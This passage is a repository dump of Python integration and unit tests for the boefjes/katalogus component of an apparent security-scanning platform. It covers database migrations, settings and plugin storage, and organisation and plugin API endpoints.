    "content": "import os\n\nimport alembic.config\nimport pytest\nfrom sqlalchemy import text\nfrom sqlalchemy.orm import Session, sessionmaker\n\nfrom boefjes.sql.db import SQL_BASE, get_engine\n\npytestmark = pytest.mark.skipif(os.environ.get(\"CI\") != \"1\", reason=\"Needs a CI database.\")\n\n\n@pytest.fixture\ndef migration_cd34fdfafdaf() -> Session:\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"head\"])\n    # To reset autoincrement ids\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"downgrade\", \"base\"])\n    # Set state to revision cd34fdfafdaf\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"cd34fdfafdaf\"])\n\n    engine = get_engine()\n    session = sessionmaker(bind=engine)()\n\n    query = f\"\"\"INSERT INTO organisation (id, name) values {','.join(map(str, [\n        (\"dev1\", \"Test 1 \"),\n         (\"dev2\", \"Test 2 \"),\n    ]))}\"\"\"  # noqa: S608\n    session.get_bind().execute(text(query))\n\n    entries = [(1, \"LOCAL\", \"Repository Local\", \"https://local.com/\")]\n    query = f\"INSERT INTO repository (pk, id, name, base_url) values {','.join(map(str, entries))}\"  # noqa: S608\n\n    engine.execute(text(query))\n\n    entries = [(1, \"test_plugin_id\", True, 1, 1)]  # New unique constraint fails\n    query = (\n        f\"INSERT INTO plugin_state (id, plugin_id, enabled, organisation_pk, repository_pk)\"\n        f\"values {','.join(map(str, entries))}\"\n    )  # noqa: S608\n\n    engine.execute(text(query))\n\n    entries = [(1, 1)]\n    query = f\"INSERT INTO organisation_repository (repository_pk, organisation_pk) values {','.join(map(str, entries))}\"  # noqa: S608\n    engine.execute(text(query))\n\n    yield session\n    session.commit()\n\n    engine.execute(text(\"DELETE FROM plugin_state\"))\n\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"head\"])\n\n    engine.execute(\";\".join([f\"TRUNCATE TABLE {t} CASCADE\" for t in SQL_BASE.metadata.tables]))\n\n\ndef test_fail_on_non_unique(migration_cd34fdfafdaf):\n    session = migration_cd34fdfafdaf\n\n    entries = [(2, \"test\", \"test\", \"https://test.co/\")]  # Another non-local repository\n    query = f\"INSERT INTO repository (pk, id, name, base_url) values {','.join(map(str, entries))}\"  # noqa: S608\n    session.get_bind().execute(text(query))\n    entries = [(2, \"test_plugin_id\", True, 1, 2)]  # New unique constraint fails\n    query = (\n        f\"INSERT INTO plugin_state (id, plugin_id, enabled, organisation_pk, repository_pk)\"\n        f\"values {','.join(map(str, entries))}\"\n    )  # noqa: S608\n    session.get_bind().execute(text(query))\n\n    with pytest.raises(Exception) as ctx:\n        alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"7c88b9cd96aa\"])\n\n    assert \"remove plugin_states that refer to nonlocal repositories first\" in str(ctx.value)\n\n    # Fix unique constraint failures\n    session.get_bind().execute(text(\"DELETE FROM plugin_state WHERE id = 2; DELETE FROM repository WHERE pk = 2\"))\n\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"7c88b9cd96aa\"])\n\n    all_plugin_states = [\n        (x[1], x[2], x[3]) for x in session.get_bind().execute(text(\"SELECT * FROM plugin_state\")).fetchall()\n    ]\n    assert all_plugin_states == [(\"test_plugin_id\", True, 1)]\n\n\ndef test_downgrade(migration_cd34fdfafdaf):\n    session = migration_cd34fdfafdaf\n    session.get_bind().execute(text(\"DELETE FROM plugin_state WHERE id = 2\"))  # Fix unique constraint fails\n\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"7c88b9cd96aa\"])\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"downgrade\", \"-1\"])\n\n    all_plugin_states = [\n        (x[1], x[2], x[3], x[4]) for x in session.get_bind().execute(text(\"SELECT * FROM plugin_state\")).fetchall()\n    ]\n\n    assert all_plugin_states == [(\"test_plugin_id\", True, 1, 1)]\n    assert session.get_bind().execute(text(\"SELECT * from repository\")).fetchall() == [\n        (1, \"LOCAL\", \"Local Plugin Repository\", \"http://dev/null\")\n    ]\n"
  },
  {
    "path": "boefjes/tests/integration/test_settings_to_boefje_config_migration.py",
    "content": "import os\n\nimport alembic.config\nimport pytest\nfrom sqlalchemy import text\nfrom sqlalchemy.orm import Session, sessionmaker\n\nfrom boefjes.sql.config_storage import SQLConfigStorage, create_encrypter\nfrom boefjes.sql.db import SQL_BASE, get_engine\n\npytestmark = pytest.mark.skipif(os.environ.get(\"CI\") != \"1\", reason=\"Needs a CI database.\")\n\n\n@pytest.fixture\ndef migration_6f99834a4a5a() -> Session:\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"head\"])\n    # To reset autoincrement ids\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"downgrade\", \"base\"])\n    # Set state to revision 6f99834a4a5a\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"6f99834a4a5a\"])\n\n    engine = get_engine()\n    session = sessionmaker(bind=engine)()\n\n    query = f\"\"\"INSERT INTO organisation (id, name) values {','.join(map(str, [\n        (\"dev1\", \"Test 1 \"),\n        (\"dev2\", \"Test 2 \"),\n    ]))}\"\"\"  # noqa: S608\n    session.get_bind().execute(text(query))\n\n    encrypter = create_encrypter()\n    entries = [\n        (1, encrypter.encode('{\"key1\": \"val1\"}'), \"dns-records\", 1),\n        (2, encrypter.encode('{\"key1\": \"val1\", \"key2\": \"val2\"}'), \"dns-records\", 2),\n        (3, encrypter.encode('{\"key2\": \"val2\", \"key3\": \"val3\"}'), \"nmap\", 1),\n    ]\n    query = f\"INSERT INTO settings (id, values, plugin_id, organisation_pk) values {','.join(map(str, entries))}\"  # noqa: S608\n\n    engine.execute(text(query))\n\n    entries = [(1, \"dns-records\", True, 1), (2, \"nmap-udp\", True, 1)]\n    query = f\"INSERT INTO plugin_state (id, plugin_id, enabled, organisation_pk) values {','.join(map(str, entries))}\"  # noqa: S608\n    engine.execute(text(query))\n\n    yield session\n    session.commit()\n\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"head\"])\n\n    engine.execute(\";\".join([f\"TRUNCATE TABLE {t} CASCADE\" for t in SQL_BASE.metadata.tables]))\n\n\ndef test_fail_on_wrong_plugin_ids(migration_6f99834a4a5a):\n    session = migration_6f99834a4a5a\n\n    encrypter = create_encrypter()\n    entries = [\n        (4, encrypter.encode('{\"key2\": \"val2\", \"key3\": \"val3\"}'), \"test-unknown-plugin-id\", 1),\n        (5, encrypter.encode('{\"key1\": \"val1\"}'), \"kat_nmap_normalize\", 2),\n    ]\n    query = f\"INSERT INTO settings (id, values, plugin_id, organisation_pk) values {','.join(map(str, entries))}\"  # noqa: S608\n    session.execute(text(query))\n    session.commit()\n    session.close()\n\n    with pytest.raises(Exception) as ctx:\n        alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"f9de6eb7824b\"])\n\n    assert \"Settings for normalizer or bit found: kat_nmap_normalize\" in str(ctx.value)\n\n    session.execute(text(\"DELETE FROM settings WHERE id = 5\"))  # Fix normalizer setting\n    session.commit()\n    session.close()\n\n    with pytest.raises(Exception) as ctx:\n        alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"f9de6eb7824b\"])\n\n    assert \"Invalid plugin id found: test-unknown-plugin-id\" in str(ctx.value)\n\n    session.execute(text(\"DELETE FROM settings WHERE id = 4\"))  # Fix unknown plugin\n    session.commit()\n    session.close()\n\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"f9de6eb7824b\"])\n\n    assert session.execute(text(\"SELECT id FROM boefje WHERE plugin_id = 'dns-records'\")).fetchall() == [(2,)]\n    session.commit()\n    session.close()\n\n    config_storage = SQLConfigStorage(session, encrypter)\n\n    with config_storage:\n        assert config_storage.get_all_settings(\"dev1\", \"dns-records\") == {\"key1\": \"val1\"}\n        assert config_storage.get_all_settings(\"dev1\", \"nmap-udp\") == {}\n        assert config_storage.get_all_settings(\"dev2\", \"dns-records\") == {\"key1\": \"val1\", \"key2\": \"val2\"}\n\n        assert config_storage.is_enabled_by_id(\"dns-records\", \"dev1\")\n        assert config_storage.is_enabled_by_id(\"nmap-udp\", \"dev1\")\n\n    session.commit()\n    session.close()\n\n\ndef test_downgrade(migration_6f99834a4a5a):\n    session = migration_6f99834a4a5a\n\n    # No need to also create a Boefje entry, the seeded settings and migrations take care of that and\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"f9de6eb7824b\"])\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"downgrade\", \"-1\"])\n\n    encrypter = create_encrypter()\n    all_settings = list(session.execute(text(\"select * from settings\")).fetchall())\n    session.commit()\n    session.close()\n    assert {(encrypter.decode(x[1]) if x[1] != \"{}\" else \"{}\", x[2], x[3]) for x in all_settings} == {\n        ('{\"key1\": \"val1\"}', \"dns-records\", 1),\n        ('{\"key1\": \"val1\", \"key2\": \"val2\"}', \"dns-records\", 2),\n        ('{\"key2\": \"val2\", \"key3\": \"val3\"}', \"nmap\", 1),\n        (\"{}\", \"nmap-udp\", 1),\n    }\n"
  },
  {
    "path": "boefjes/tests/integration/test_sql_repositories.py",
    "content": "import datetime\nimport os\n\nimport pytest\n\nfrom boefjes.storage.interfaces import ConfigNotFound, OrganisationNotFound, PluginNotFound, StorageError\nfrom boefjes.worker.models import Boefje, BoefjeConfig, Normalizer, Organisation\n\npytestmark = pytest.mark.skipif(os.environ.get(\"CI\") != \"1\", reason=\"Needs a CI database.\")\n\n\ndef test_organisation_storage(organisation_storage):\n    organisation_id = \"test\"\n\n    org = Organisation(id=organisation_id, name=\"Test\")\n    with organisation_storage as storage:\n        storage.create(org)\n\n    with organisation_storage as storage:\n        returned_org = storage.get_by_id(organisation_id)\n    assert org == returned_org\n\n    with organisation_storage as storage:\n        all_organisations = storage.get_all()\n\n    assert org == all_organisations[organisation_id]\n\n    with organisation_storage as storage:\n        storage.delete_by_id(organisation_id)\n\n    with pytest.raises(OrganisationNotFound), organisation_storage as storage:\n        storage.get_by_id(organisation_id)\n\n\ndef test_settings_storage(plugin_storage, organisation_storage, config_storage):\n    organisation_id = \"test\"\n    plugin_id = 64 * \"a\"\n\n    with plugin_storage as storage:\n        storage.create_boefje(Boefje(id=plugin_id, name=\"Test\"))\n\n    org = Organisation(id=organisation_id, name=\"Test\")\n    with organisation_storage as storage:\n        storage.create(org)\n\n    with config_storage as settings_storage:\n        settings_storage.upsert(organisation_id, plugin_id, {\"TEST_SETTING\": \"123.9\", \"TEST_SETTING2\": 12})\n\n    with config_storage as settings_storage:\n        settings_storage.upsert(organisation_id, plugin_id, {\"TEST_SETTING\": \"123.9\", \"TEST_SETTING2\": 13})\n        returned_settings = settings_storage.get_all_settings(organisation_id, plugin_id)\n\n    assert returned_settings[\"TEST_SETTING\"] == \"123.9\"\n    assert returned_settings[\"TEST_SETTING2\"] == 13\n\n    with pytest.raises(ConfigNotFound), config_storage:\n        config_storage.delete(\"no organisation!\", plugin_id)\n\n    with config_storage as settings_storage:\n        assert settings_storage.get_all_settings(org.id, plugin_id) == {\"TEST_SETTING\": \"123.9\", \"TEST_SETTING2\": 13}\n        assert config_storage.get_all_settings(org.id, \"wrong\") == {}\n        assert config_storage.get_all_settings(\"wrong\", plugin_id) == {}\n\n    with config_storage as settings_storage:\n        settings_storage.delete(org.id, plugin_id)\n\n    with config_storage as settings_storage:\n        assert settings_storage.get_all_settings(org.id, plugin_id) == {}\n\n    with pytest.raises(StorageError), config_storage as settings_storage:\n        settings_storage.upsert(organisation_id, 65 * \"a\", {\"TEST_SETTING\": \"123.9\"})\n\n    # Test getting configs\n    org2 = Organisation(id=\"test2\", name=\"Test2\")\n    with organisation_storage as storage:\n        storage.create(org2)\n\n    with config_storage as settings_storage:\n        settings_storage.upsert(organisation_id, plugin_id, {\"TEST_SETTING\": \"123.9\", \"TEST_SETTING2\": 12})\n        settings_storage.upsert(org2.id, plugin_id, {\"TEST_SETTING2\": 12, \"TEST_SETTING\": \"123.9\"})\n\n    config1 = BoefjeConfig(\n        id=6,\n        settings={\"TEST_SETTING\": \"123.9\", \"TEST_SETTING2\": 12},\n        enabled=False,\n        boefje_id=\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\n        organisation_id=\"test\",\n    )\n    config2 = BoefjeConfig(\n        id=7,\n        settings={\"TEST_SETTING\": \"123.9\", \"TEST_SETTING2\": 12},\n        enabled=False,\n        boefje_id=\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\n        organisation_id=\"test2\",\n    )\n    config2_with_duplicates = config2.model_copy(update={\"duplicates\": [config1]})\n\n    with config_storage as settings_storage:\n        assert settings_storage.list_boefje_configs(0, 10) == [config1, config2]\n        assert settings_storage.list_boefje_configs(1, 10) == [config2]\n        assert settings_storage.list_boefje_configs(2, 10) == []\n        assert settings_storage.list_boefje_configs(0, 1) == [config1]\n        assert settings_storage.list_boefje_configs(0, 10, organisation_id=org2.id, with_duplicates=True) == [config2]\n        assert settings_storage.list_boefje_configs(0, 10, organisation_id=org.id, with_duplicates=True) == [config1]\n        assert settings_storage.list_boefje_configs(0, 10, enabled=True, with_duplicates=True) == []\n        assert settings_storage.list_boefje_configs(0, 10, enabled=False, with_duplicates=True) == [config1, config2]\n        assert settings_storage.list_boefje_configs(0, 10, boefje_id=\"b\", with_duplicates=True) == []\n        assert settings_storage.list_boefje_configs(\n            0, 10, boefje_id=config2.boefje_id, organisation_id=org2.id, with_duplicates=True\n        ) == [config2_with_duplicates]\n\n\ndef test_settings_storage_values_respect_field_limits(plugin_storage, organisation_storage, config_storage):\n    organisation_id = \"test\"\n    plugin_id = 64 * \"a\"\n\n    with plugin_storage as storage:\n        storage.create_boefje(Boefje(id=plugin_id, name=\"Test\"))\n\n    org = Organisation(id=organisation_id, name=\"Test\")\n    with organisation_storage as storage:\n        storage.create(org)\n\n    with config_storage as settings_storage:\n        settings_storage.upsert(\n            organisation_id,\n            plugin_id,\n            {\n                \"TEST_SETTING\": 12 * \"123.9\",\n                \"TEST_SETTING2\": 12000,\n                \"TEST_SETTING3\": 30 * \"b\",\n                \"TEST_SETTING4\": 30 * \"b\",\n                \"TEST_SETTING5\": 10 * \"b\",\n                \"TEST_SETTING6\": 123456789,\n            },\n        )\n\n    with config_storage as settings_storage:\n        assert settings_storage.get_all_settings(org.id, plugin_id) == {\n            \"TEST_SETTING\": 12 * \"123.9\",\n            \"TEST_SETTING2\": 12000,\n            \"TEST_SETTING3\": 30 * \"b\",\n            \"TEST_SETTING4\": 30 * \"b\",\n            \"TEST_SETTING5\": 10 * \"b\",\n            \"TEST_SETTING6\": 123456789,\n        }\n\n\ndef test_plugin_enabled_storage(organisation_storage, plugin_storage, config_storage):\n    with organisation_storage as storage:\n        org = Organisation(id=\"test\", name=\"Test\")\n        storage.create(org)\n\n    plugin = Boefje(\n        id=\"test-boefje-1\",\n        name=\"Test Boefje 1\",\n        version=\"0.1\",\n        consumes={\"WebPage\"},\n        produces=[\"text/html\"],\n        enabled=True,\n    )\n\n    with plugin_storage as storage:\n        storage.create_boefje(plugin)\n\n    with config_storage as storage:\n        storage.upsert(org.id, plugin.id, enabled=plugin.enabled)\n\n    with config_storage as storage:\n        returned_state = storage.is_enabled_by_id(plugin.id, org.id)\n    assert returned_state is True\n\n    with config_storage as storage:\n        storage.upsert(org.id, plugin.id, enabled=False)\n\n    with config_storage as storage:\n        returned_state = storage.is_enabled_by_id(plugin.id, org.id)\n    assert returned_state is False\n\n    with pytest.raises(ConfigNotFound), config_storage as storage:\n        storage.is_enabled_by_id(\"wrong\", org.id)\n\n    with pytest.raises(ConfigNotFound), config_storage as storage:\n        storage.is_enabled_by_id(\"wrong\", org.id)\n\n    with pytest.raises(ConfigNotFound), config_storage as storage:\n        storage.is_enabled_by_id(plugin.id, \"wrong\")\n\n\ndef test_bare_boefje_storage(plugin_storage):\n    boefje = Boefje(id=\"test_boefje\", name=\"Test\", static=False)\n\n    with plugin_storage as storage:\n        storage.create_boefje(boefje)\n\n    with plugin_storage as storage:\n        returned_boefje = storage.boefje_by_id(boefje.id)\n    assert boefje == returned_boefje\n\n    with plugin_storage as storage:\n        storage.update_boefje(boefje.id, {\"description\": \"4\"})\n\n    with plugin_storage as storage:\n        assert storage.boefje_by_id(boefje.id).description == \"4\"\n\n    with plugin_storage as storage:\n        storage.update_boefje(boefje.id, {\"scan_level\": 3})\n\n    with plugin_storage as storage:\n        assert storage.boefje_by_id(boefje.id).scan_level == 3\n\n    boefje.description = \"4\"\n    boefje.scan_level = 3\n\n    with plugin_storage as storage:\n        assert storage.boefje_by_id(boefje.id).description == \"4\"\n    boefje.description = \"4\"\n\n    with plugin_storage as storage:\n        storage.update_boefje(boefje.id, {\"scan_level\": 3})\n\n    with plugin_storage as storage:\n        assert storage.boefje_by_id(boefje.id).scan_level == 3\n\n    boefje.description = \"4\"\n    boefje.scan_level = 3\n    with plugin_storage as storage:\n        all_plugins = storage.get_all()\n    assert all_plugins == [boefje]\n\n    with plugin_storage as storage:\n        storage.delete_boefje_by_id(boefje.id)\n\n    with pytest.raises(PluginNotFound), plugin_storage as storage:\n        storage.boefje_by_id(boefje.id)\n\n\ndef test_rich_boefje_storage(plugin_storage):\n    boefje = Boefje(\n        id=\"test_boefje\",\n        name=\"Test\",\n        version=\"v1.09\",\n        created=datetime.datetime(2010, 10, 10, 10, 10, 10, tzinfo=datetime.UTC),\n        description=\"My Boefje\",\n        scan_level=4,\n        consumes=[\"Internet\"],\n        produces=[\n            \"image/png\",\n            \"application/zip+json\",\n            \"application/har+json\",\n            \"application/json\",\n            \"application/localstorage+json\",\n        ],\n        oci_image=\"ghcr.io/test/image:123\",\n        oci_arguments=[\"host\", \"-n\", \"123123123123123123123\"],\n        static=False,\n    )\n\n    with plugin_storage as storage:\n        storage.create_boefje(boefje)\n\n    with plugin_storage as storage:\n        returned_boefje = storage.boefje_by_id(boefje.id)\n\n    assert boefje == returned_boefje\n\n\ndef test_bare_normalizer_storage(plugin_storage):\n    normalizer = Normalizer(id=\"test_boefje\", name=\"Test\", static=False)\n\n    with plugin_storage as storage:\n        storage.create_normalizer(normalizer)\n\n    with plugin_storage as storage:\n        returned_normalizer = storage.normalizer_by_id(normalizer.id)\n    assert normalizer == returned_normalizer\n\n    with plugin_storage as storage:\n        storage.update_normalizer(normalizer.id, {\"version\": \"v4\"})\n    with plugin_storage as storage:\n        assert storage.normalizer_by_id(normalizer.id).version == \"v4\"\n    normalizer.version = \"v4\"\n\n    with plugin_storage as storage:\n        all_plugins = storage.get_all()\n    assert all_plugins == [normalizer]\n\n    with plugin_storage as storage:\n        storage.delete_normalizer_by_id(normalizer.id)\n\n    with pytest.raises(PluginNotFound), plugin_storage as storage:\n        storage.normalizer_by_id(normalizer.id)\n\n\ndef test_rich_normalizer_storage(plugin_storage):\n    normalizer = Normalizer(\n        id=\"test_normalizer\",\n        name=\"Test\",\n        version=\"v1.19\",\n        created=datetime.datetime(2010, 10, 10, 10, 10, 10, tzinfo=datetime.UTC),\n        description=\"My Normalizer\",\n        scan_level=4,\n        consumes=[\"Internet\"],\n        produces=[\n            \"image/png\",\n            \"application/zip+json\",\n            \"application/har+json\",\n            \"application/json\",\n            \"application/localstorage+json\",\n        ],\n        static=False,\n    )\n\n    with plugin_storage as storage:\n        storage.create_normalizer(normalizer)\n    with plugin_storage as storage:\n        returned_normalizer = storage.normalizer_by_id(normalizer.id)\n\n    assert normalizer == returned_normalizer\n\n\ndef test_plugin_storage(plugin_storage):\n    boefje = Boefje(id=\"test_boefje\", name=\"Test\", static=False)\n    normalizer = Normalizer(id=\"test_boefje\", name=\"Test\", static=False)\n\n    with plugin_storage as storage:\n        storage.create_boefje(boefje)\n        storage.create_normalizer(normalizer)\n\n    with plugin_storage as storage:\n        assert storage.get_all() == [boefje, normalizer]\n"
  },
  {
    "path": "boefjes/tests/katalogus/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/katalogus/test_organisation_api.py",
    "content": "def test_list(unit_test_client):\n    res = unit_test_client.get(\"/v1/organisations\")\n    assert res.status_code == 200\n\n\ndef test_get_organisation(unit_test_client):\n    res = unit_test_client.get(\"/v1/organisations/test\")\n    assert res.status_code == 200\n\n\ndef test_non_existing_organisation(unit_test_client):\n    res = unit_test_client.get(\"/v1/organisations/future-organisation\")\n    assert res.status_code == 404\n    assert \"unknown organisation\" in res.text.lower()\n\n\ndef test_add_organisation(unit_test_client):\n    res = unit_test_client.post(\"/v1/organisations/\", json={\"id\": \"new\", \"name\": \"New\"})\n    assert res.status_code == 201\n\n    res = unit_test_client.get(\"/v1/organisations\")\n    assert res.status_code == 200\n    assert len(res.json()) == 2\n\n\ndef test_delete_organisation(unit_test_client):\n    res = unit_test_client.delete(\"/v1/organisations/test\")\n    assert res.status_code == 200\n\n    res = unit_test_client.get(\"/v1/organisations\")\n    assert res.status_code == 200\n    assert len(res.json()) == 0\n"
  },
  {
    "path": "boefjes/tests/katalogus/test_plugin_service.py",
    "content": "import pytest\n\nfrom boefjes.storage.interfaces import SettingsNotConformingToSchema\n\n\ndef test_get_plugins(mock_plugin_service, test_organisation):\n    plugins = mock_plugin_service.get_all(test_organisation.id)\n    assert len(plugins) == 15\n\n    kat_test = list(filter(lambda x: x.id == \"kat_test\", plugins)).pop()\n    assert kat_test.id == \"kat_test\"\n    assert kat_test.name == \"Kat test name\"\n    assert kat_test.consumes == {\"DNSZone\"}\n    assert set(kat_test.produces) == {\"boefje/kat_test\"}\n\n    kat_test_norm = list(filter(lambda x: x.id == \"kat_test_normalize\", plugins)).pop()\n    assert \"kat_test_normalize\" in kat_test_norm.id\n    assert kat_test_norm.consumes == [\"text/html\", \"normalizer/kat_test_normalize\"]\n    assert kat_test_norm.produces == []\n\n\ndef test_get_plugin_by_id(mock_plugin_service, test_organisation):\n    plugin = mock_plugin_service.by_plugin_id(\"kat_test_normalize\", test_organisation.id)\n\n    assert plugin.id == \"kat_test_normalize\"\n    assert plugin.enabled is True\n\n\ndef test_update_by_id(mock_plugin_service, test_organisation):\n    mock_plugin_service.set_enabled_by_id(\"kat_test_normalize\", test_organisation.id, False)\n    plugin = mock_plugin_service.by_plugin_id(\"kat_test_normalize\", test_organisation.id)\n    assert plugin.enabled is False\n\n\ndef test_update_by_id_bad_schema(mock_plugin_service, test_organisation):\n    plugin_id = \"kat_test\"\n\n    mock_plugin_service.config_storage.upsert(test_organisation.id, plugin_id, {\"api_key\": 128 * \"a\"})\n    mock_plugin_service.set_enabled_by_id(plugin_id, test_organisation.id, True)\n\n    with pytest.raises(SettingsNotConformingToSchema) as ctx:\n        mock_plugin_service.upsert_settings({\"api_key\": 129 * \"a\"}, test_organisation.id, plugin_id)\n\n    msg = f\"Settings for plugin kat_test are not conform the plugin schema: '{129 * 'a'}' is too long\"\n    assert ctx.value.message == msg\n\n\ndef test_get_schema(mock_plugin_service):\n    schema = mock_plugin_service.schema(\"kat_test\")\n    assert schema == {\n        \"title\": \"Arguments\",\n        \"type\": \"object\",\n        \"properties\": {\"api_key\": {\"title\": \"Api Key\", \"maxLength\": 128, \"type\": \"string\"}},\n        \"required\": [\"api_key\"],\n    }\n\n    schema = mock_plugin_service.schema(\"kat_test_normalize\")\n    assert schema is None\n\n\ndef test_removing_mandatory_setting_does_not_disable_plugin_anymore(mock_plugin_service, test_organisation):\n    plugin_id = \"kat_test\"\n\n    mock_plugin_service.config_storage.upsert(test_organisation.id, plugin_id, {\"api_key\": 128 * \"a\"})\n    mock_plugin_service.set_enabled_by_id(plugin_id, test_organisation.id, True)\n\n    plugin = mock_plugin_service.by_plugin_id(plugin_id, test_organisation.id)\n    assert plugin.enabled is True\n\n    mock_plugin_service.delete_settings(test_organisation.id, plugin_id)\n\n    plugin = mock_plugin_service.by_plugin_id(plugin_id, test_organisation.id)\n    assert plugin.enabled is True\n\n\ndef test_adding_integer_settings_within_given_constraints(mock_plugin_service, test_organisation):\n    plugin_id = \"kat_test_2\"\n\n    with pytest.raises(SettingsNotConformingToSchema) as ctx:\n        mock_plugin_service.upsert_settings({\"api_key\": \"24\"}, test_organisation.id, plugin_id)\n\n    assert \"'24' is not of type 'integer'\" in ctx.value.message\n\n    mock_plugin_service.upsert_settings({\"api_key\": 24}, test_organisation.id, plugin_id)\n    mock_plugin_service.set_enabled_by_id(plugin_id, test_organisation.id, True)\n\n    plugin = mock_plugin_service.by_plugin_id(plugin_id, test_organisation.id)\n    assert plugin.enabled is True\n    mock_plugin_service.set_enabled_by_id(plugin_id, test_organisation.id, False)\n\n\ndef test_clone_one_setting(mock_plugin_service, test_organisation):\n    new_org_id = \"org2\"\n    plugin_id = \"kat_test\"\n    mock_plugin_service.config_storage.upsert(test_organisation.id, plugin_id, {\"api_key\": \"24\"})\n    assert mock_plugin_service.get_all_settings(test_organisation.id, plugin_id) == {\"api_key\": \"24\"}\n\n    mock_plugin_service.set_enabled_by_id(plugin_id, test_organisation.id, True)\n\n    assert \"api_key\" not in mock_plugin_service.get_all_settings(new_org_id, plugin_id)\n\n    new_org_plugins = mock_plugin_service.get_all(new_org_id)\n    assert len(new_org_plugins) == 15\n    assert len([x for x in new_org_plugins if x.enabled]) == 5  # 2 Normalizers\n    assert plugin_id not in [x.id for x in new_org_plugins if x.enabled]\n\n    mock_plugin_service.clone_settings_to_organisation(test_organisation.id, new_org_id)\n\n    assert mock_plugin_service.get_all_settings(test_organisation.id, plugin_id) == {\"api_key\": \"24\"}\n    assert mock_plugin_service.get_all_settings(new_org_id, plugin_id) == {\"api_key\": \"24\"}\n\n    new_org_plugins = mock_plugin_service.get_all(new_org_id)\n    assert len(new_org_plugins) == 15\n    assert len([x for x in new_org_plugins if x.enabled]) == 6  # 2 Normalizers, 1 boefje\n    assert plugin_id in [x.id for x in new_org_plugins if x.enabled]\n\n\ndef test_clone_many_settings(mock_plugin_service, test_organisation):\n    plugin_id_1 = \"kat_test\"\n\n    all_settings_1 = {\"api_key\": \"123\"}\n    mock_plugin_service.upsert_settings(all_settings_1, test_organisation.id, plugin_id_1)\n    mock_plugin_service.clone_settings_to_organisation(test_organisation.id, \"org2\")\n\n    all_settings_for_new_org = mock_plugin_service.get_all_settings(\"org2\", plugin_id_1)\n    assert len(all_settings_for_new_org) == 1\n    assert all_settings_for_new_org == {\"api_key\": \"123\"}\n"
  },
  {
    "path": "boefjes/tests/katalogus/test_plugins_api.py",
    "content": "def test_list(unit_test_client):\n    res = unit_test_client.get(\"/v1/organisations/test/plugins\")\n    assert res.status_code == 200\n    assert {x[\"id\"] for x in res.json()}.issuperset(\n        {\"kat_test\", \"kat_test_2\", \"kat_test_4\", \"kat_test_normalize\", \"kat_test_normalize_2\"}\n    )\n\n\ndef test_list_filter_by_type(unit_test_client):\n    res = unit_test_client.get(\"/v1/organisations/test/plugins?plugin_type=boefje\")\n    assert res.status_code == 200\n    assert {x[\"id\"] for x in res.json()}.issuperset({\"kat_test\", \"kat_test_2\", \"kat_test_4\"})\n\n\ndef test_list_filter_by_state(unit_test_client):\n    res = unit_test_client.get(\"/v1/organisations/test/plugins?state=true\")\n    assert res.status_code == 200\n    assert {x[\"id\"] for x in res.json()}.issuperset({\"kat_test_normalize\", \"kat_test_normalize_2\"})\n    assert all([x[\"enabled\"] for x in res.json()]) is True\n\n\ndef test_list_filter_by_id(unit_test_client):\n    res = unit_test_client.get(\"/v1/organisations/test/plugins?q=norm\")\n    assert res.status_code == 200\n    assert {x[\"id\"] for x in res.json()}.issuperset({\"kat_test_normalize\", \"kat_test_normalize_2\"})\n\n\ndef test_list_pagination(unit_test_client):\n    res = unit_test_client.get(\"/v1/organisations/test/plugins?offset=2&limit=2&q=kat_\")\n    assert res.status_code == 200\n    assert {x[\"id\"] for x in res.json()}.issuperset({\"kat_test_4\", \"kat_test_normalize\"})\n\n\ndef test_list_plugins(unit_test_client):\n    res = unit_test_client.get(\"/v1/organisations/test/plugins\")\n    assert res.status_code == 200\n    assert {x[\"id\"] for x in res.json()}.issuperset(\n        {\"kat_test\", \"kat_test_2\", \"kat_test_4\", \"kat_test_normalize\", \"kat_test_normalize_2\"}\n    )\n\n\ndef test_get_plugin(unit_test_client):\n    res = unit_test_client.get(\"/v1/organisations/test/plugins/kat_test\")\n    assert res.status_code == 200\n    assert \"produces\" in res.json()\n    assert res.json()[\"produces\"] == [\"boefje/kat_test\"]\n\n\ndef test_non_existing_plugin(unit_test_client):\n    res = unit_test_client.get(\"/v1/organisations/test/plugins/future-plugin\")\n    assert res.status_code == 404\n\n\ndef test_default_enabled_property_list(unit_test_client):\n    res = unit_test_client.get(\"/v1/organisations/test/plugins?plugin_type=boefje\")\n    assert res.status_code == 200\n    assert any([plugin[\"enabled\"] for plugin in res.json()]) is False\n\n\ndef test_patching_enabled_state(unit_test_client):\n    res = unit_test_client.patch(\"/v1/organisations/test/plugins/kat_test_normalize\", json={\"enabled\": False})\n    assert res.status_code == 204\n\n    res = unit_test_client.get(\"/v1/organisations/test/plugins\")\n    assert res.status_code == 200\n    assert {plugin[\"id\"]: plugin[\"enabled\"] for plugin in res.json() if 